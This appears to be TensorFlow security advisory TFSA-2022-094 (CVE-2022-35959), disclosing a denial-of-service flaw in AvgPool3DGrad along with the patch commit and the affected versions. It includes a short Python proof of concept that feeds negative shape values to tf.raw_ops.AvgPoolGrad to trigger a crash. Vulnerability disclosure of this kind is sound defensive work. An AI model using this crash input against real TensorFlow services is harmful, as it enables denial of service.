• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1## TFSA-2022-094: `CHECK` failures in `AvgPool3DGrad`
2
3### CVE Number
4CVE-2022-35959
5
6### Impact
7The implementation of `AvgPool3DGradOp` does not fully validate the input `orig_input_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack:
8```python
9import tensorflow as tf
10
11ksize = [1, 2, 2, 1]
12strides = [1, 2, 2, 1]
13padding = "VALID"
14data_format = "NHWC"
15orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)
16grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)
17tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
18```
19
20### Patches
21We have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb).
22
23The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
24
25
26### For more information
27Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
28
29
30### Attribution
31This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
32